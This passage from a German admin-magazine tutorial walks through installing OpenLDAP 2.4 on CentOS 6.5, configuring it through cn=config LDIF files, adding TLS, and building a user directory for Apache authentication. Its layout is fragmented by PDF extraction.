im Folgenden als DIT (Directory Information<br />
Tree) bezeichnet. Jede der abgelegten<br />
Informationen innerhalb des<br />
Baums kann eine Menge von Attributen<br />
enthalten, die teilweise zwingend<br />
vorhanden sein müssen oder optional<br />
sind. Die Festlegung, welche Attribute<br />
wo zu Verfügung stehen, wird durch ein<br />
Schema vorgegeben. Der OpenLDAP-<br />
Server stellt seine eigene Konfiguration<br />
beispielsweise in einem DIT dar.<br />
In diesem Workshop erfahren Sie, wie<br />
man den OpenLDAP-Server in Version<br />
2.4.23 auf einem CentOS 6.5 installiert<br />
und in Betrieb nimmt. Als Beispiel dient<br />
die Authentifizierung von Benutzern<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
freeX<br />
OpenLDAP<br />
107<br />
an einem Webserver, die Konfiguration kann aber für Betriebssysteme<br />
oder andere Dienste erweitert werden. Am Ende des<br />
Workshops steht damit ein vollfunktionaler LDAP-Server für das<br />
Unternehmen zur Verfügung, der leicht erweitert werden kann<br />
und dem aktuellen Stand von CentOS 6.5 und OpenLDAP 2.4<br />
ohne zusammenkopierte Konfiguration entspricht.<br />
Installation des OpenLDAP-Servers<br />
Die Installation von OpenLDAP ist denkbar einfach. Alle erforderlichen<br />
Pakete befinden sich in den CentOS-Repositories und<br />
stehen damit auf jeder CentOS-Installation ohne weitere Veränderungen<br />
zur Verfügung. Mit dem Paketmanager Yum erschöpft<br />
sich die Installation in einem Aufruf:<br />
$ sudo yum install openldap‐servers openldap‐clients httpd ldapvi<br />
Die beiden ersten Pakete erklären sich von selbst und werden<br />
benötigt, um den OpenLDAP-Server zu installieren und zu<br />
verwalten. Der Webserver »httpd« wird im Laufe des Tutorials<br />
verwendet, um die Authentifizierung und Autorisierung einer<br />
Webserver-Location gegenüber dem LDAP-Server zu demonstrieren.<br />
Das Werkzeug »ldapvi« ist ein universeller Kommandozeilen-LDAP-Client,<br />
der für kleinere administrative Aufgaben<br />
hervorragend geeignet ist.<br />
Konfiguration via OLC<br />
OpenLDAP hat in der Version 2.4, die sich im CentOS-Repository<br />
befindet, auf das Modell der dynamischen Konfiguration umgestellt.<br />
In der Kurzform wird diese Art der Konfiguration als<br />
OLC (On-Line-Configuration) bezeichnet. In den verschiedenen<br />
Dokumentationen rund um den OpenLDAP-Server taucht auch<br />
immer wieder der Begriff der »cn=config«-Methodik auf, die das<br />
Gleiche bedeutet.<br />
Beim »cn=config«-Modell liegen die Konfigurationsdaten im<br />
LDAP-Server und werden mit den LDAP-Client-Werkzeugen<br />
bearbeitet. Im alten Modell wurde der OpenLDAP-Server noch<br />
über eine zentrale Konfigurationsdatei gepflegt. Die Gründe für<br />
die Umstellung, die auf den ersten Blick erst einmal alles komplizierter<br />
macht, sind schnell ersichtlich. Alle Änderungen können<br />
im laufenden Betrieb vorgenommen werden, ohne dass ein<br />
Neustart des Servers erforderlich wird. Insbesondere bei größeren<br />
Installationen ist der Neustart eine relativ zeitaufwendige<br />
Sache, die mehrere Minuten dauern kann. Zudem verliert der<br />
LDAP-Server bei einem Neustart seinen Cache, der im Hauptspeicher<br />
liegt. Nachfolgende Anfragen dauern entsprechend<br />
länger und müssen erst wieder den Cache füllen.<br />
Mit dem dynamischen Konfigurationsmodell entfallen Neustarts<br />
und die Verfügbarkeit des LDAP-Servers bleibt erhalten. Sobald<br />
man das Konzept hinter dem neuen Konfigurationsmodell verstanden<br />
hat, fühlt es sich auch deutlich schlüssiger an. Beim alten<br />
Modell liegen die Konfigurationsdateien in einem Verzeichnisbaum<br />
unterhalb von »/etc/openldap/slapd.d«, die Vorrang<br />
vor einer eventuell vorhandenen Konfigurationsdatei »/etc/<br />
openldap/slapd.conf« haben. Dieser Artikel konzentriert sich im<br />
Weiteren aber ausschließlich auf das neue Modell. Nach der Installation<br />
sind einige Schritte erforderlich, bevor der LDAP-Server-Daemon<br />
»slapd« starten kann. Zuerst müssen Sie sich<br />
für ein Daten-Backend entscheiden. OpenLDAP unterstützt<br />
eine Vielzahl an Backends, beginnend bei der Berkeley<br />
DB (BDB), die als Standard gesetzt ist, über MySQL,<br />
Memory-Datenbanken oder auch Perl-Datenstrukturen. In<br />
unserer Beispielkonfiguration verwendet der LDAP-Server<br />
die BDB.<br />
Die nachfolgenden Schritte müssen Sie mit Root-Rechten<br />
durchführen. Statt direkt als Root-Benutzer zu arbeiten,<br />
werden im Folgenden alle Kommandos mit dem »sudo«-<br />
Befehl ausgeführt. Um eine initiale Datenbank anzulegen,<br />
liefert der OpenLDAP-Server ein Konfigurations-Template<br />
mit. Kopieren Sie es in das Datenverzeichnis des Open-<br />
LDAP-Servers:<br />
$ sudo cp /usr/share/openldap‐servers/DB_CONFIG.example U<br />
/var/lib/ldap/DB_CONFIG<br />
Das Template enthält Angaben über Cache-Größe und<br />
Datenbank-Logfiles. Alle diese Werte können Sie jedoch<br />
dank des dynamischen Konfigurationsmodells später<br />
ändern. Nach dem Kopieren der Datei testen Sie den<br />
OpenLDAP-Server auf korrekte Konfiguration und starten<br />
ihn anschließend:<br />
www.admin-magazin.de
108<br />
freeX<br />
OpenLDAP<br />
$ sudo slaptest ‐u<br />
$ sudo chkconfig slapd on<br />
$ service slapd start<br />
formulieren Sie mit dem Kommando<br />
»ldapsearch« eine Suchabfrage und<br />
schicken sie zum Server:<br />
Die weiteren Zeilen der Ausgabe geben<br />
Aufschluss über die Suche und die<br />
Form der Ausgabe:<br />
Voilà, der OpenLDAP-Server ist bereit<br />
für die initiale Konfiguration. Aktuell<br />
kann sich, obwohl der Server läuft,<br />
noch niemand verbinden.<br />
Authentifizieren<br />
Zuerst erzeugen Sie das LDAP-RootDN-<br />
Passwort. Der RootDN stellt den obersten<br />
Knoten in einem LDAP-Verzeichnis<br />
dar und kann grundsätzlich alle<br />
Knotenpunkte unter ihm verändern.<br />
Es ist quasi der Root-User des LDAP-<br />
Systems. Das Passwort kann mit dem<br />
Kommando »slappasswd« generiert<br />
werden. Das nachfolgende Kommando<br />
setzt das Passwort auf »geheim« und<br />
gibt den SHA-Hash des Passworts auf<br />
der Kommandozeile aus:<br />
$ sudo slappasswd ‐s geheim<br />
{SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />
Die komplette Zeile kopieren Sie sich<br />
sinnvollerweise in ein temporäres<br />
Editor-Fenster, sie wird später für die<br />
Konfigurationsdatei benötigt.<br />
Zum jetzigen Zeitpunkt ist der Slapd-<br />
Daemon noch sehr rudimentär konfiguriert<br />
und kann noch keine sinnvollen<br />
Aufgaben erfüllen. Trotzdem ist es<br />
informativ, den Directory Information<br />
Tree (DIT) in der aktuellen Form anzuschauen.<br />
Wenn der LDAP-Server läuft,<br />
$ sudo ldapsearch ‐b cn=config U<br />
‐Y EXTERNAL ‐H ldapi:// '(objectClassU<br />
=olcDatabaseConfig)' olcDatabase<br />
Das Kommando »ldapsearch« wird<br />
hierbei angewiesen, sich über einen<br />
Socket (»ldapi«) zum LDAP-Server zu<br />
verbinden und eine Suchabfrage zu<br />
starten. Der erste Teil der Server-Antwort<br />
sieht so aus:<br />
SASL/EXTERNAL authentication started<br />
SASL username:<br />
gidNumber=0+uidNumber=0,cn=peercred,U<br />
cn=external,cn=auth<br />
Die Methode der Authentifizierung<br />
wird durch die Option »‐Y EXTERNAL«<br />
angegeben. Sie weist den LDAP-Server<br />
an, die Authentifizierung nicht gegen<br />
die Daten im LDAP-Server durchzuführen,<br />
sondern auf Basis der User-ID<br />
oder anderer Kriterien zu entscheiden.<br />
Für diese Form der Authentifizierung<br />
ist im OpenLDAP bereits ein Standard<br />
vorkonfiguriert, der hier genutzt wird.<br />
Der User mit der UserID 0 und der<br />
GruppenID 0 darf sich anmelden, also<br />
der User »root«. Deshalb muss diesem<br />
Kommando ein »sudo« vorangestellt<br />
werden. Zum aktuellen Zeitpunkt ist<br />
dies der einzige Weg, sich am LDAP-<br />
Server anzumelden.<br />
# extended LDIF<br />
# LDAPv3<br />
# base with scope subtree<br />
# filter:<br />
(objectClass=olcDatabaseConfig)<br />
# requesting: olcDatabase<br />
Das Format »extended LDIF« ist der<br />
Standard in der LDAP-Protokollversion<br />
3. Die Zeile »base« gibt an, von wo die<br />
Suche gestartet wurde. In diesem Falle<br />
wurde der Knotenpunkt mit dem Common<br />
Name (»cn«) »config« durchsucht.<br />
Der Scope, also der Suchbereich, gibt<br />
dabei Aufschluss über die Suchtiefe.<br />
Bei der Bezeichnung »subtree« wird<br />
alles unterhalb der Base durchsucht.<br />
Der Suchfilter wurde auf eine »object-<br />
Class« gesetzt, in diesem Fall »olcDatabaseConfig«.<br />
Eine Objektklasse stellt<br />
in LDAP eine Form von Datencontainer<br />
dar, die mit Attributen gefüllt ist.<br />
Des Weiteren sind in der Ausgabe die<br />
beiden interessantesten Datenbanken<br />
zu sehen:<br />
# {0}config, config<br />
dn: olcDatabase={0}config,cn=config<br />
olcDatabase: {0}config<br />
# {2}bdb, config<br />
dn: olcDatabase={2}bdb,cn=config<br />
olcDatabase: {2}bdb<br />
n Listing 1: »initial.ldif«<br />
01 dn: olcDatabase={0}config,cn=config<br />
02 changetype: modify<br />
03 replace: olcAccess<br />
04 olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred<br />
,cn=external,cn=auth" write by dn.base="cn=manager,dc=acme‐service<br />
s,dc=org" read by * none<br />
05 <br />
06 # replace: olcRootDN<br />
07 dn: olcDatabase={2}bdb,cn=config<br />
08 changetype: modify<br />
09 replace: olcRootPW<br />
10 olcRootPW: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />
11 ‐<br />
12 replace: olcAccess<br />
13 olcAccess: {0}to attrs=userPassword by dn.base="gidNumber=0+uidNu<br />
mber=0,cn=peercred,cn=external,cn=auth" write by dn.base="cn=mana<br />
ger,dc=acme‐services,dc=org" write by anonymous auth by self write<br />
by dn="uid=syncrepl,ou=systems,dc=acme‐services,dc=org" read by *<br />
none<br />
14 olcAccess: {1}to * by self write by users read by * none<br />
15 ‐<br />
16 replace: olcSuffix<br />
17 olcSuffix: dc=acme‐services,dc=org<br />
18 ‐<br />
19 replace: olcRootDN<br />
20 olcRootDN: cn=manager,dc=acme‐services,dc=org<br />
21 <br />
22 dn: olcDatabase={1}monitor,cn=config<br />
23 changetype: modify<br />
24 replace: olcAccess<br />
25 olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred<br />
,cn=external,cn=auth" read by dn.base="cn=manager,dc=acme‐services<br />
,dc=org" read by * none<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
freeX<br />
OpenLDAP<br />
109<br />
Als erstes Element ist die Konfigurationsdatenbank<br />
vorhanden und dann<br />
die Datenbank (»{2}bdb«), die später<br />
die Nutzerdaten aufnehmen wird. Abgeschlossen<br />
wird die Antwort auf die<br />
Anfrage durch eine kleine Statistik über<br />
Suche und Treffer:<br />
# search result<br />
search: 2<br />
result: 0 Success<br />
# numResponses: 5<br />
# numEntries: 4<br />
Die Grundkonfiguration<br />
Nachdem der LDAP-Server nun läuft,<br />
steht die eigentliche Konfiguration an,<br />
um ihn auch wirklich benutzbar zu machen.<br />
Die Konfiguration wird in diesem<br />
Beispiel in zwei Bereiche unterteilt: die<br />
Server-Konfiguration und die Konfiguration<br />
für die späteren LDAP-Daten.<br />
Es findet dabei eine strikte Trennung<br />
zwischen den verschiedenen Aufgabenbereichen<br />
in der Administration des<br />
LDAP-Servers statt. Der Administrator<br />
des Linux-Systems darf die Konfiguration<br />
des LDAP-Servers verwalten, der<br />
Administrator des LDAP-Verzeichnisses<br />
(der „Manager“) hat nur Rechte für<br />
diese Daten.<br />
Eine Trennung dieser Art ist im Betrieb<br />
durchaus sinnvoll, da klar zwischen<br />
den verschiedenen Aufgaben unterschieden<br />
wird. So ist es möglich, die<br />
Applikationsbetreuung des LDAP-Servers<br />
an eine andere Abteilung zu übertragen,<br />
ohne die Integrität des Servers<br />
hinsichtlich der Sicherheit aufzugeben.<br />
Im ersten Schritt findet die Konfiguration<br />
des LDAP-Services statt. Die<br />
Konfigurationsdatei wird als Textdatei<br />
im LDIF-Format erstellt und mit dem<br />
Kommando »ldapmodify« eingelesen.<br />
Der Aufbau der Datei, die in Listing 1<br />
dargestellt ist, adressiert den zu ändernden<br />
Eintrag innerhalb des LDAP-<br />
Zweigs, gibt die Art der Änderung vor<br />
und schließt mit dem neuen Wert ab.<br />
In der initialen Konfigurationsdatei<br />
werden die Einsprungpunkte für die Änderungen<br />
mit dem DN, dem Distinguished<br />
Name, referenziert. Er entspricht<br />
immer dem vollen Pfad innerhalb des<br />
DIT (Directory Information Tree) des<br />
n Tabelle 1: LDAP-Keywords<br />
Abkürzung Voller Name Bedeutung<br />
DIT Directory Information Tree Informationsbaum im LDAP-Server<br />
CN Common Name Attribut eines Objekts im LDAP-Baum<br />
DN Distinguished Name Vollständiger Pfad eines Objekts innerhalb des<br />
LDAP-Baums<br />
DC Domain Component Bestandteil eines Toplevel-Knotens im LDAP-<br />
Baum<br />
OpenLDAP-Servers und kann daher<br />
nur ein einziges Mal vorhanden sein.<br />
Eine Übersicht über die verschiedenen<br />
Abkürzungen und deren Bedeutungen<br />
findet sich in Tabelle 1.<br />
Die initiale Konfiguration nimmt eine<br />
Vielzahl von Einstellungen vor. So<br />
erlaubt sie den Zugriff des Applikationsadministrators<br />
(Manager) auf den<br />
Informationsbaum des OpenLDAP-<br />
Servers. Damit kann die Konfiguration<br />
von diesem User gelesen, jedoch nicht<br />
modifiziert werden. Für die Fehlersuche<br />
hat sich dieses Vorgehen als hilfreich<br />
erwiesen, damit man nicht immer zwischen<br />
verschiedenen Rechten hin- und<br />
herspringen muss. Der zweite Block<br />
legt das Passwort des Manager-Users<br />
an, das oben mit »slappasswd« erzeugt<br />
wurde. In diesem Konfigurationsbeispiel<br />
lautet das Passwort »geheim«, für<br />
den produktiven Einsatz sollten Sie es<br />
gegen etwas Sinnvolles austauschen.<br />
Zugriffsregeln<br />
Der dritte Block enthält die Regeln für<br />
den Zugriff. Sie erlauben den schreibenden<br />
Zugriff für den Benutzer »root«<br />
über die Autorisierung des Systems sowie<br />
des Benutzers »manager«. Zudem<br />
darf sich jeder Benutzer authentifizieren<br />
und anschließend seine eigenen<br />
Daten verändern. Jeder Benutzer darf<br />
alle Daten bis auf das Attribut des User-<br />
Passworts anzeigen lassen.<br />
Im vierten Block wird das Suffix des<br />
LDAP-Servers festgelegt. Es besteht<br />
üblicherweise aus den Bestandteilen<br />
der Domain des Servers oder des<br />
Unternehmens. Punkte dienen dabei<br />
als Trennzeichen der einzelnen Bestandteile<br />
der Domain-Components<br />
(DC). Das Suffix aus dem Beispiel<br />
»dc=acme‐services,dc=org« entspricht<br />
demnach der Domain »acme‐services.<br />
org«. Es hat jedoch lediglich eine ordnende<br />
Funktion und soll eine eindeutige<br />
Kennzeichnung darstellen. Es ist<br />
nicht erforderlich, die echte Domain<br />
des LDAP-Servers zu verwenden.<br />
Der fünfte Block enthält die Konfiguration<br />
für den OpenLDAP-internen<br />
Service-Monitor. Er kann später genutzt<br />
werden, um Statusinformationen über<br />
den Server abzufragen. Nachdem alle<br />
Teile der Konfiguration angepasst<br />
wurden, kann die Konfigurationsdatei<br />
eingelesen werden. Auch bei diesem<br />
Vorgang wird wieder die Autorisierung<br />
mittels des Benutzers »root« genutzt.<br />
$ sudo ldapmodify ‐Y EXTERNAL ‐H U<br />
ldapi:// ‐f initial.ldif<br />
Absicherung des Servers<br />
Der Server ist nun einsatzbereit, allerdings<br />
noch vollkommen ungesichert,<br />
denn er nimmt unverschlüsselte Anfragen<br />
auf Port 389 entgegen. Wenn der<br />
Manager sich von einer Workstation<br />
mit dem Server verbindet, wird das<br />
Passwort im Klartext übertragen. Um<br />
den Server vor unberechtigtem Zugriff<br />
zu schützen und das Mitschneiden des<br />
Passworts im Netz zu verhindern, sollte<br />
schnellstmöglich die Verschlüsselung<br />
konfiguriert werden. Hierbei bieten sich<br />
grundsätzlich zwei Wege an. Das erste<br />
Lösungsszenario verwendet ein selbstsigniertes<br />
Zertifikat, das mit den mitgelieferten<br />
Skripten im OpenLDAP-Paket<br />
erzeugt wird. Die Clients vertrauen<br />
später dem Server-Zertifikat. Wer schon<br />
eine Zertifizierungsstelle betreibt, kann<br />
auch einen anderen Weg einschlagen,<br />
dazu gleich mehr.<br />
Die einfache Option ist, die mitgelieferten<br />
Skripte zu verwenden, die Sie als<br />
Root-Benutzer ausführen müssen. Das<br />
erste Skript baut eine Zertifikatsdatenbank<br />
in dem Verzeichnis »/etc/openldap/certs«<br />
auf.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
110<br />
freeX<br />
OpenLDAP<br />
01 dn: cn=config<br />
$ sudo /usr/libexec/openldap/create‐U<br />
certdb.sh<br />
Creating certificate database in '/etcU<br />
/openldap/certs'.<br />
Das zweite Skript erzeugt das erforderliche<br />
Zertifikat und importiert es in den<br />
soeben erzeugten Zertifikats-Store.<br />
$ sudo /usr/libexec/openldap/generate‐U<br />
server‐cert.sh ‐d /etc/openldap/certs ‐hU<br />
ldap.acme‐services.org<br />
Der OpenLDAP-Server ist in der Standardkonfiguration<br />
so eingestellt, dass<br />
02 changetype: modify<br />
03 replace: olcTLSCACertificatePath<br />
04 olcTLSCACertificatePath: /etc/pki/tls/certs<br />
05 ‐<br />
ou=people<br />
n Listing 2: »ssl.ldif«<br />
06 replace: olcTLSCertificateFile<br />
07 olcTLSCertificateFile: /etc/pki/tls/certs/<br />
localhost.crt<br />
08 ‐<br />
09 replace: olcTLSCertificateKeyFile<br />
10 olcTLSCertificateKeyFile: /etc/pki/tls/private/<br />
localhost.key<br />
01 BASE dc=acme‐services,dc=org<br />
02 URI ldaps://ldap.acme‐services.org<br />
03 TLS_CACERTDIR /etc/openldap/certs<br />
04 TLS_REQCERT allow<br />
uid=uhabel<br />
dc=org<br />
dc=acmeservices<br />
ou=groups<br />
n Listing 3: »/etc/openldap/ldap.conf«<br />
cn=vcsldap<br />
Abbildung 1: Der komplette Informationsbaum des LDAP-Verzeichnisses.<br />
ou=systems<br />
er dieses Zertifikat verwendet. Das<br />
Zertifikat wird mit dem Namen »Open-<br />
LDAP Server« in der Zertifikatsdatenbank<br />
gespeichert. Bei NSS-basierten<br />
Zertfikaten wird zwischen dem Common<br />
Name, der üblicherweise dem<br />
Hostnamen des Servers entspricht, und<br />
dem lesbaren Namen unterschieden.<br />
Beide Namen können voneinander<br />
abweichen. Daher wird in dem obigen<br />
Kommando der Hostname des Servers<br />
mit der Kommandzeilenoption »‐h<br />
ldap.acme‐services.org« angegeben.<br />
Hier tritt eine Besonderheit der LDAP-<br />
Konfiguration zu Tage: Wenn der Open-<br />
LDAP-Server sowohl mit der Methode<br />
»StartTLS« als auch mit dem traditionellen<br />
SSL angesprochen werden soll,<br />
muss der Common Name (»‐h«) dem<br />
Hostnamen des Servers entsprechen.<br />
Nachdem dieser Teil der Konfiguration<br />
abgeschlossen ist, müssen Sie lediglich<br />
die Datei »/etc/sysconfig/ldap« um die<br />
Option »ldaps« erweitern. Die Zeile<br />
»SLAPD_LDAPS«, die in der Grundkonfiguration<br />
auf »no« steht, ändern Sie auf<br />
»yes«. Nach einem Neustart versteht es<br />
der OpenLDAP-Server, SSL-Verbindungen<br />
(SSL und StartTLS) entgegenzunehmen:<br />
$ sudo service slapd restart<br />
cn=httpd<br />
Nun können Sie mit »openssl« die<br />
Verbindung überprüfen. Jetzt vertraut<br />
»openssl« diesem Zertifikat noch nicht<br />
und weist es als self-signed aus. Es ist<br />
daher erforderlich, das Zertifikat aus<br />
der Zertifikatsdatenbank in das systemweite<br />
Zertifikatsverzeichnis zu exportieren<br />
und mit dem erforderlichen<br />
Zertifikats-Hash zu verlinken:<br />
$ sudo certutil ‐L U<br />
‐d /etc/openldap/certs U<br />
‐n "OpenLDAP Server" U<br />
‐a > /etc/pki/tls/certs/ldap.U<br />
acme‐services.org.crt<br />
$ sudo ln ‐sf U<br />
/etc/pki/tls/certs/ldap.acme‐U<br />
services.org.crt $(openssl x509 ‐in ldapU<br />
.acme‐services.org.crt ‐noout ‐hash).0<br />
Nach diesen beiden Schritten können<br />
Sie das Zertifikat des Server mit dem<br />
»openssl«-Kommando überprüfen.<br />
Es stellt für diesen Zweck den Befehl<br />
»s_client« zur Verfügung:<br />
$ openssl s_client U<br />
‐connect ldap.acme‐services.org:636<br />
Die Ausgabe der Zertifikate erfolgt dabei<br />
auf der Konsole. Entscheidend ist<br />
hierbei die letzte Zeile, die nach korrekter<br />
Konfiguration »0 (ok)« lauten sollte.<br />
Das Kommando wartet nun auf Eingaben.<br />
Da es jedoch nur das Zertifikat testen<br />
sollte, können Sie es mit [Strg]+[C]<br />
abbrechen.<br />
Der zweite Weg beschreibt die Verwendung<br />
eigener Zertifikate, die<br />
nicht in der Zertifikatsdatenbank des<br />
OpenLDAP liegen sollen. Oft ist es<br />
sogar durchaus sinnvoll, Zertifikate<br />
nicht dort zu speichern, beispielsweise<br />
wenn weitere Dienste diese Zertifikate<br />
nutzen sollen. CentOS speichert Zertifikate<br />
in dem Verzeichnis »/etc/pki/tls/<br />
certs« und die Keys in »/etc/pki/tls/private«.<br />
Es ist darauf zu achten, dass die<br />
Gruppe, die Zugriff auf private Keys hat,<br />
den OpenLDAP-Server einschließt. Der<br />
OpenLDAP-Server läuft als Benutzer<br />
»ldap« mit der Gruppe »ldap«. Es bietet<br />
sich daher an, den Besitzer »root« und<br />
die Gruppe »ldap« dem privaten Keyfile<br />
zuzuweisen. Die Rechte sollten auf 640<br />
gesetzt sein.<br />
Leider kennt der OpenLDAP-Server<br />
in der Standardkonfiguration diesen<br />
Key nicht, den man deshalb gesondert<br />
konfigurieren muss. Listing 2 zeigt eine<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
freeX<br />
OpenLDAP<br />
111<br />
Beispielkonfiguration. Mit dem Kommando<br />
»ldapmodify« fügen Sie diese<br />
Datei, ähnlich wie beim Einlesen der initialen<br />
Konfiguration, dem LDAP-Server<br />
hinzu. Anschließend ist wie beim ersten<br />
Weg die Variable »SLAPD_LDAPS« in der<br />
Datei »/etc/sysconfig/ldap« auf »yes«<br />
zu setzen und der Server erneut zu starten.<br />
Achten Sie darauf, dass der private<br />
Schlüssel nicht mit einem Passwort<br />
geschützt ist.<br />
Damit der Server jetzt schon die neue<br />
SSL-Verbindungen nutzt, ist es hilfreich,<br />
die Konfigurationsdatei der LDAP-<br />
Clients »/etc/openldap/ldap.conf« anzupassen<br />
(siehe Listing 3). Bei der Anpassung<br />
der Konfigurationsdatei ist der<br />
Weg zur Einrichtung der SSL-Verschlüsselung<br />
zu beachten. Insbesondere den<br />
Parameter »TLS_CACERTDIR« müssen<br />
Sie gegebenenfalls auf die systemweite<br />
Zertifikatsdatenbank anpassen.<br />
Damit ist die Konfiguration des Servers<br />
abgeschlossen und die Einrichtung der<br />
Benutzerdatenbank kann beginnen.<br />
Aufbau des Verzeichnisses<br />
In diesem Abschnitt soll der Informationsbaum<br />
für die Benutzerdaten erstellt<br />
werden. Der Toplevel dieses Baums<br />
wurde bereits festgelegt und besteht<br />
aus den beiden Domain-Components<br />
(DC) »dc=acme‐services« und »dc=org«.<br />
Alle neuen Strukturen werden unter<br />
diesem Punkt aufgehängt. Der Baum<br />
soll wie in Abbildung 1 aussehen.<br />
Jetzt geht es darum, neue LDAP-<br />
Objekte zu generieren und ihnen die<br />
erforderlichen Attribute zuzuweisen.<br />
Objekte sind dabei eindeutig zu identifizierende<br />
Knotenpunkte, die als Attribut<br />
spezielle Objektklassen besitzen.<br />
Die Objektklassen können zum Beispiel<br />
»organizationalUnit«, »domain«, »inetOrgPerson«<br />
oder »posixAccount«<br />
sein.<br />
Welche Objektklassen zur Verfügung<br />
stehen, hängt von den Schemata ab,<br />
die der LDAP-Server konfiguriert hat.<br />
In Abbildung 2 ist der Zusammenhang<br />
grafisch dargestellt.<br />
Eingebaute Schemata<br />
Ein OpenLDAP-Server kann unterschiedlichste<br />
Schemata verwalten und<br />
hat nach einer Standardinstallation<br />
bereits zehn davon installiert. Beispiele<br />
für weitere Datenmodelle sind<br />
etwa Samba, Yubikey, DHCP und so<br />
weiter. Hier soll es im Weiteren aber<br />
ausschließlich um die mitgelieferten<br />
Schemata gehen.<br />
Den Benutzerbaum legen Sie wieder<br />
mithilfe einer LDIF-Datei an. Listing 4<br />
Schema<br />
Attribute<br />
ObjectClass<br />
Abbildung 2: Aufbau von LDAP-Schemata und Objektklassen.<br />
zeigt die LDIF-Datei, die die erforderlichen<br />
Daten im Directory-Baum anlegt.<br />
Anders als bisher kommen jetzt erstmalig<br />
das Kommando »ldapadd« und<br />
der neu angelegte Benutzer »manager«<br />
ins Spiel. Das folgende Kommando liest<br />
die LDIF-Datei ein:<br />
$ ldapadd ‐x ‐W ‐D cn=manager,dc=U<br />
acme‐services,dc=org ‐f base.ldif<br />
n Listing 4: »base.ldif«<br />
01 dn: dc=acme‐services,dc=org<br />
02 dc: acme‐services<br />
03 objectClass: top<br />
04 objectClass: domain<br />
05 <br />
06 dn: ou=people,dc=acme‐services,dc=org<br />
07 ou: people<br />
08 objectClass:<br />
09 <br />
10 dn: ou=groups,dc=acme‐services,dc=org<br />
11 ou: groups<br />
12 objectClass: organizationalUnit<br />
13 <br />
14 dn: ou=systems,dc=acme‐services,dc=org<br />
15 ou: systems<br />
16 objectClass: organizationalUnit<br />
17 <br />
18 dn: uid=uhabel,ou=people,dc=acme‐services,dc=org<br />
19 objectClass: person<br />
20 objectClass: organizationalPerson<br />
21 objectClass: inetOrgPerson<br />
22 objectClass: posixAccount<br />
23 cn: Ulrich Habel<br />
24 gidNumber: 100<br />
25 homeDirectory: /home/uhabel<br />
26 sn: Habel<br />
27 uid: uhabel<br />
28 uidNumber: 1000<br />
29 userPassword: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />
30 <br />
31 dn: cn=vcsldap,ou=groups,dc=acme‐services,dc=org<br />
32 objectClass: groupOfUniqueNames<br />
33 objectClass: top<br />
34 cn: vcsldap<br />
35 uniqueMember: uid=uhabel,ou=people,dc=acme‐services,dc=org<br />
36 <br />
37 dn: cn=httpd,ou=systems,dc=acme‐services,dc=org<br />
38 objectClass: inetOrgPerson<br />
39 objectClass: organizationalPerson<br />
40 objectClass: person<br />
41 objectClass: top<br />
42 cn: httpd<br />
43 sn: httpd Webserver<br />
44 userPassword: {SSHA}GT+mLzLeRPGE7176X1Btmt9AzSolCTRa<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
112<br />
freeX<br />
OpenLDAP<br />
Abbildung 3: »ldapvi« – ein elegantes Kommandozeilen-Tool.<br />
Ein paar Dinge fallen bei diesem Kommando<br />
auf. Es muss nicht mehr der Benutzer<br />
»root« des Systems verwendet<br />
werden, sondern jeder beliebige User<br />
kann es ausführen. Für die Anmeldung<br />
ist ein Kennwort erforderlich, im Beispiel<br />
das Kennwort »geheim«. Der Benutzer<br />
wird durch den Kommandozeilenschalter<br />
»‐D« bestimmt, hinter der<br />
ein DN (Distinguished Name) des Users<br />
folgt. Weil jede DN nur ein einziges<br />
Mal im System vorhanden ist, ist der<br />
Benutzer eindeutig. Der Schalter »‐x«<br />
gibt dabei an, dass kein SASL-Verfahren<br />
für die Authentifizierung verwendet<br />
wird, der Schalter »‐W« erfordert die<br />
Passworteingabe. Nach dem Einlesen<br />
der LDIF-Datei ist der in Abbildung 1<br />
gezeigte Informationsbaum komplett<br />
initialisiert.<br />
Testen und ausprobieren<br />
Jetzt bietet es sich an, mit den im LDAP<br />
vorhandenen Daten erste Erfahrungen<br />
n Listing 5: »/etc/httpd/conf.d/repositories.conf«<br />
01 <br />
02 AuthType Basic<br />
03 AuthName "Repositories"<br />
04 AuthBasicProvider ldap<br />
05 AuthLDAPBindDN cn=httpd,ou=systems,dc=acme‐services,dc=org<br />
06 AuthLDAPBindPassword geheim<br />
07 AuthzLDAPAuthoritative Off<br />
08 AuthLDAPURL ldap://localhost/dc=acme‐services,dc=org?uid<br />
zu sammeln: In einem ersten Schritt<br />
mit den einfachen Kommandozeilenwerkzeugen,<br />
dann mit etwas komfortableren<br />
Tools.<br />
Eine LDAP-Suche mit den Kommandozeilenwerkzeugen<br />
ist mühsam und gewöhnungsbedürftig.<br />
Das nachstehende<br />
Beispiel meldet sich als der Benutzer<br />
»uhabel« an und sucht nach Objekten,<br />
die eine beliebige Objektklasse besitzen.<br />
Das Resultat werden alle Objekte<br />
des LDAP-Servers sein, da jedes Objekt<br />
mindestens über eine Objektklasse verfügen<br />
muss:<br />
$ ldapsearch ‐D uid=uhabel,ou=people,U<br />
dc=acme‐services,dc=org ‐W ‐x U<br />
'(objectClass=*)'<br />
Nach der Eingabe des Passworts werden<br />
alle Einträge gelistet. Das Attribut<br />
des User-Passworts wird nur bei dem<br />
User »uhabel« angezeigt, bei den anderen<br />
Usern bleibt es ausgeblendet.<br />
Prinzipiell ist es möglich, jeden Knoten<br />
in dem Verzeichnisbaum mit einer Suche<br />
ausgeben zu lassen und anschließend<br />
mit einer passenden LDIF-Datei<br />
zu modifizieren. Dieses Vorgehen ist<br />
jedoch sehr zeitintensiv und so haben<br />
sich verschiedene Benutzer-Tools etablieren<br />
können.<br />
09 Require ldap‐group cn=vcsldap,ou=groups,dc=acme‐services,dc=org<br />
10 <br />
Elegante Kommandozeile<br />
Das Kommandozeilenwerkzeug<br />
»ldapvi« [1] verbindet die LDAP-Suche<br />
mit dem Editor Vi und erlaubt auf diese<br />
Art und Weise einfache Änderungen.<br />
Mit dem Speichern und Verlassen des<br />
Editors wird eine LDIF-Datei erstellt<br />
und anschließend angewandt. Die<br />
Kommandozeilenoptionen des Tools<br />
